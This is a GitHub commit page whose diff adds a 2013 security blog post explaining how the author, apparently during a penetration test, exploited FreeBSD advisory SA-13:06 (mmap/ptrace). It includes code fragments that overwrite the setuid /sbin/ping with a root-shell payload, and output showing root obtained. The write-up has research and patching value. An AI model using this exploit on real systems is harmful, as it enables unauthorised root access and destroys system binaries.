-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 4af2d83
Showing
469 changed files
with
36,918 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
<!doctype html><html lang=en><head><meta charset=utf-8><meta content="width=device-width,initial-scale=1,shrink-to-fit=no" name=viewport><meta content=BlahCats name=author><meta content="Tales of a binary encoded life..." name=description><meta prefix="og: http://ogp.me/ns#" content=BlahCats property=og:site_name><meta prefix="og: http://ogp.me/ns#" content=blog property=og:type><meta content="I feel lucky - or why I wrote a FreeBSD 1-day in one day" prefix="og: http://ogp.me/ns#" property=og:title><meta content="I feel lucky - or why I wrote a FreeBSD 1-day in one day - by hugsy" prefix="og: http://ogp.me/ns#" property=og:description><meta prefix="og: http://ogp.me/ns#" content=en_US property=og:locale><meta prefix="og: http://ogp.me/ns#" content=https://blahcat.github.io/2013-06-20-i-feel-lucky property=og:url><meta prefix="og: http://ogp.me/ns#" content=https://blahcat.github.io/img/blog-cover.png property=og:image><meta content=summary_large_image name=twitter:card><meta content=@ctf_blahcat name=twitter:site><meta content=BlahCats name=twitter:title><meta content="I feel lucky - or why I wrote a FreeBSD 1-day in one day - by hugsy" name=twitter:description><meta content=https://blahcat.github.io/2013-06-20-i-feel-lucky name=twitter:url><meta content=https://blahcat.github.io/img/blog-cover.png name=twitter:image:src><script type=application/ld+json> | ||
{ | ||
"@context" : "http://schema.org", | ||
"@type" : "Website", | ||
"name": " BlahCats", | ||
"url" : "https://blahcat.github.io/2013-06-20-i-feel-lucky", | ||
|
||
"image": https://blahcat.github.io/img/blog-cover.png", | ||
|
||
|
||
"description": I feel lucky - or why I wrote a FreeBSD 1-day in one day - by hugsy", | ||
|
||
} | ||
</script><title> | ||
I feel lucky - or why I wrote a FreeBSD 1-day in one day | ||
</title><link href=https://blahcat.github.io/img/favicon.ico rel=icon type=image/x-icon><link href=https://blahcat.github.io/css/bootstrap.min.css rel=stylesheet><link href=" https://blahcat.github.io/css/all.min.css" rel=" stylesheet"><link href="https://fonts.googleapis.com/css?family=Roboto" rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic" rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800" rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Montserrat:400,300" rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Lato" -- <!-- custom for rel=stylesheet styles template this><link href=https://blahcat.github.io/css/clean-blog.css rel=stylesheet><link href=https://blahcat.github.io/css/overrides.css rel=stylesheet><link integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css referrerpolicy=no-referrer rel=stylesheet><body><nav class="navbar navbar-expand-lg navbar-light fixed-top" id=mainNav><div class=container><a class=navbar-brand href=https://blahcat.github.io>BlahCats Blog</a><button aria-label="Toggle navigation" class="navbar-toggler navbar-toggler-right" aria-controls=navbarResponsive aria-expanded=false data-target=#navbarResponsive data-toggle=collapse type=button>Menu <i class="fas fa-bars"></i></button><div class="collapse navbar-collapse" id=navbarResponsive><ul class="navbar-nav ml-auto"><li class=nav-item><a class=nav-link href=https://blahcat.github.io>Home</a><li class=nav-item><a class=nav-link href=https://blahcat.github.io/series>Series</a><li class=nav-item><a class=nav-link href=https://blahcat.github.io/notes>Notes</a><li class=nav-item><a class=nav-link href=https://blahcat.github.io/about>About</a><li class=nav-item><a class=nav-link href=https://blahcat.github.io/qemu>Qemu VMs</a></ul></div></div></nav><header class=masthead style=background-image:url(https://blahcat.github.io/img/blog-cover.png)><div class=overlay></div><div class=container><div class=row><div class="col-lg-8 col-md-10 mx-auto"><div class=post-heading><h1>I feel lucky - or why I wrote a FreeBSD 1-day in one day</h1><span class=meta> <b> • <a href=/author/hugsy>hugsy</a> • </b> 20 June 2013 <br> <br> <i>Reading time: 4 min</i> </span></div></div></div></div></header><article><article class=post><div class=container><div class=row><div class="col-lg-8 col-md-10 mx-auto"><p>Sometimes life gives you eggs for free, you just need to spend some time making an omelet. That’s exactly what happened to me on a recent engagement for a client: a typical PHP webapp full of holes left me with a nice stable shell access.<p>But at that point I was stuck: I had a limited account (<code>www</code>) on this FreeBSD 9.1 (almost) up-to-date box, and interestingly the privilege separation was done correctly enough to prevent me from getting <code>root</code> access simply by abusing the usual suspects (weak FS permission, setuid bins, privileged scripts and the likes).<p>So it was with little hope I decided to take a look at the <a rel="noopener nofollow noreferrer" href=https://www.freebsd.org/security/advisories/ target=_blank>recent advisories for FreeBSD</a> which I really like because they are well maintained. One title struck my eye immediately: <a rel="noopener nofollow noreferrer" href=https://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc target=_blank>SA-13:06.mmap - Privilege escalation via <code>mmap</code></a>, published the day right before!<p>I decided to look into it at first with not much hope, thinking the exploit would be crazy hard to trigger and heavily deep inside FreeBSD kernel. The description was actually (on purpose?) quite generic<blockquote><p>Due to insufficient permission checks in the virtual memory system, a tracing process (such as a debugger) may be able to modify portions of the traced process’s address space to which the traced process itself does not have write access.</blockquote><p>But the <a rel="noopener nofollow noreferrer" href=http://security.FreeBSD.org/patches/SA-13:06/mmap.patch target=_blank>patch</a> gave me a better idea of the issue:<pre class=language-patch data-lang=patch style=color:#c0c5ce;background-color:#2b303b><code class=language-patch data-lang=patch><span>Index: sys/vm/vm_map.c | ||
</span><span style=color:#c0c5ce;background-color:#4f5b66>=================================================================== | ||
</span><span>--- sys/vm/vm_map.c (revision 251636) | ||
</span><span>+++ sys/vm/vm_map.c (working copy) | ||
</span><span>@@ -3761,6 +3761,12 @@ </span><span style=color:#8fa1b3>RetryLookup:; | ||
</span><span> vm_map_unlock_read(map); | ||
</span><span> return (KERN_PROTECTION_FAILURE); | ||
</span><span> } | ||
</span><span style=color:#a3be8c>+ if ((fault_typea & VM_PROT_COPY) != 0 && | ||
</span><span style=color:#a3be8c>+ (entry->max_protection & VM_PROT_WRITE) == 0 && | ||
</span><span style=color:#a3be8c>+ (entry->eflags & MAP_ENTRY_COW) == 0) { | ||
</span><span style=color:#a3be8c>+ vm_map_unlock_read(map); | ||
</span><span style=color:#a3be8c>+ return (KERN_PROTECTION_FAILURE); | ||
</span><span style=color:#a3be8c>+ } | ||
</span><span> | ||
</span><span> /* | ||
</span><span> * If this page is not pageable, we have to get it for all possible | ||
</span></code></pre><p>It kindda gave a good pointer of where to start: the usual rule for setuid dictates that a write access should immediately imply losing the elevated privilege. But this is where the bug was: by <code>mmap</code> a setuid binary (which any user can do), I can then choose to <code>ptrace</code> the process, and use <code>PT_WRITE</code> command to overwrite the <code>mmap</code>-ed memory, effectively overwriting the setuid binary!<div class=alert-info markdown=span><b class=markdown-alert-title> <svg class="octicon octicon-info mr-2" viewbox="0 0 16 16" aria-hidden=true height=16 version=1.1 width=16><path d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg> Note </b><p><p>I was in a rush, so my exploit is partially destructive as I overwrite directly the setuid binary. If you choose to use it, please make a copy to be able to restore it.</div><p>My exploit was in 4 parts:<ol><li><p><code>mmap</code> the target binary (here I chose <code>/sbin/ping</code>)</p> <pre style=color:#c0c5ce;background-color:#2b303b><code><span> :::c | ||
</span><span> int fd = open("/sbin/ping", O_RDONLY); | ||
</span><span> caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0); | ||
</span></code></pre><li><p><code>fork</code> to passe to be the <code>mmap</code>-ed address to a process I can attach to using <code>ptrace()</code></p><li><p>in the parent process, I attach to the child process and then prepare a basic payload to substitute the original code with</p> <pre style=color:#c0c5ce;background-color:#2b303b><code><span> :::c | ||
</span><span> if (ptrace(PT_ATTACH, pid, 0, 0) < 0) | ||
</span><span> { | ||
</span><span> perror("[-] ptrace(PT_ATTACH) failed"); | ||
</span><span> return; | ||
</span><span> } | ||
</span><span> [...] | ||
</span><span> int fd = open("./sc.c", O_WRONLY|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); | ||
</span><span> write(fd, | ||
</span><span> "#include <stdio.h>\n"\ | ||
</span><span> "main(){ "\ | ||
</span><span> "char* s[]={\"/bin/sh\",NULL};"\ | ||
</span><span> "setuid(0);execve(s[0],s,0); }\n", | ||
</span><span> 84); | ||
</span><span> close(fd); | ||
</span><span> system("gcc -o ./sc ./sc.c"); | ||
</span></code></pre><li><p>all done, we could now copy our payload 1 DWORD at a time using <code>ptrace(PT_WRITE_D)</code></p> <pre style=color:#c0c5ce;background-color:#2b303b><code><span> :::c | ||
</span><span> fd = open("./sc", O_RDONLY); | ||
</span><span> while (1) { | ||
</span><span> int a; | ||
</span><span> int n = read(fd, &a, sizeof(int)); | ||
</span><span> if (n <= 0) break; | ||
</span><span> ptrace(PT_WRITE_D, pid, mmap_setuid_address+i, a); | ||
</span><span> i+=n; | ||
</span><span> } | ||
</span></code></pre></ol><p>Done! Simply execute the target binary to get a root shell.<pre class=language-bash data-lang=bash style=color:#c0c5ce;background-color:#2b303b><code class=language-bash data-lang=bash><span> </span><span style=color:#bf616a>$</span><span> id | ||
</span><span> </span><span style=color:#bf616a>uid</span><span>=</span><span style=color:#a3be8c>1001</span><span>(</span><span style=color:#bf616a>user</span><span>) gid=1001(user) </span><span style=color:#bf616a>groups</span><span>=</span><span style=color:#a3be8c>1001</span><span>(</span><span style=color:#bf616a>user</span><span>) | ||
</span><span> </span><span style=color:#bf616a>$</span><span> gcc</span><span style=color:#bf616a> -Wall</span><span> ./mmap.c && </span><span style=color:#bf616a>./a.out | ||
</span><span> </span><span style=color:#bf616a>[+]</span><span> Saved old '</span><span style=color:#a3be8c>/sbin/ping</span><span>' | ||
</span><span> </span><span style=color:#bf616a>[+]</span><span> Using mmap-ed area at 0x281a4000 | ||
</span><span> </span><span style=color:#bf616a>[+]</span><span> Attached to 3404 | ||
</span><span> </span><span style=color:#bf616a>[+]</span><span> Copied 4917 bytes of payload to '</span><span style=color:#a3be8c>/sbin/ping</span><span>' | ||
</span><span> </span><span style=color:#bf616a>[+]</span><span> Triggering payload | ||
</span><span> </span><span style=color:#bf616a>$</span><span> id | ||
</span><span> </span><span style=color:#bf616a>uid</span><span>=</span><span style=color:#a3be8c>0</span><span>(</span><span style=color:#bf616a>root</span><span>) gid=0(wheel) </span><span style=color:#bf616a>egid</span><span>=</span><span style=color:#a3be8c>1001</span><span>(</span><span style=color:#bf616a>user</span><span>) groups=1001(user)</span><span style=color:#bf616a>,0</span><span>(wheel) | ||
</span></code></pre><p>By nature, this exploit is very stable and I was able to report that I had <code>root</code> access to my customer :) I was undeniably lucky to find exactly the privilege escalation I need just exactly when I needed it (kudos to Konstantin Belousov & Alan Cox for the finding), but it also taught me that there can be a huge difference of postponing applying patches, even if for one day…<p>Cheers mates!<p>PS: for the full <a rel="noopener nofollow noreferrer" href=https://gist.github.com/hugsy/5933831 target=_blank>quick’n dirty exploit</a><aside class=post-tags><p>Categories: <a href=https://blahcat.github.io/categories/research/>#research</a><p>Tags: <a href=https://blahcat.github.io/tags/freebsd/>#freebsd</a> <a href=https://blahcat.github.io/tags/1day/>#1day</a> <a href=https://blahcat.github.io/tags/lpe/>#lpe</a></aside><aside class=post-discussion>Join the Discussion on <a href="https://github.com/blahcat/blahcat.github.io/discussions?discussions_q=I feel lucky - or why I wrote a FreeBSD 1-day in one day" target=_blank> <i class="fab fa-github fa-lg"></i> GitHub </a></aside><aside class=post-nav><div class=container><div class=row><div class=col><b>Next:</b><br><a class=post-nav-prev href=https://blahcat.github.io/2013-12-23-read-write-process-memory-on-linux/> <section class=post-nav-teaser><b class=post-nav-title>Using new syscalls for read/write arbitrary memory on Linux.</b><p class=post-nav-excerpt>Even though well known methods exist to bypass ptrace deactivation on a pro…</section> </a></div><div class=col></div></div></div></aside></div></div><hr><footer><div class=container><div class=row><div class="col-lg-8 col-md-10 mx-auto"><ul class="list-inline text-center"><li class=list-inline-item><a href=https://blahcat.github.io/atom.xml> <span class="fa-stack fa-lg"> <i class="fas fa-circle fa-stack-2x"></i> <i class="fas fa-rss fa-stack-1x fa-inverse"></i> </span> </a><li class=list-inline-item><a href=https://twitter.com/ctf_blahcat> <span class="fa-stack fa-lg"> <i class="fas fa-circle fa-stack-2x"></i> <i class="fab fa-twitter fa-stack-1x fa-inverse"></i> </span> </a><li class=list-inline-item><a href=https://github.com/blahcat> <span class="fa-stack fa-lg"> <i class="fas fa-circle fa-stack-2x"></i> <i class="fab fa-github fa-stack-1x fa-inverse"></i> </span> </a><li class=list-inline-item><a href=https://www.youtube.com/channel/UCDrgY65mRZWVoMiB5-VMqfg> <span class="fa-stack fa-lg"> <i class="fas fa-circle fa-stack-2x"></i> <i class="fab fa-youtube fa-stack-1x fa-inverse"></i> </span> </a><li class=list-inline-item><a href=https://discord.gg/hSbqxxBgRX> <span class="fa-stack fa-lg"> <i class="fas fa-circle fa-stack-2x"></i> <i class="fab fa-discord fa-stack-1x fa-inverse"></i> </span> </a></ul><p class="copyright text-muted">Made with ❤ with Zola</div></div></div></footer><script src=https://blahcat.github.io/js/jquery.min.js></script><script src=https://blahcat.github.io/js/bootstrap.bundle.min.js></script><script src=https://blahcat.github.io/js/clean-blog.min.js></script><script src=//cdnjs.cloudflare.com/ajax/libs/mermaid/9.1.1/mermaid.min.js></script><div class=mermaidTooltip style=opacity:0></div> |
Oops, something went wrong.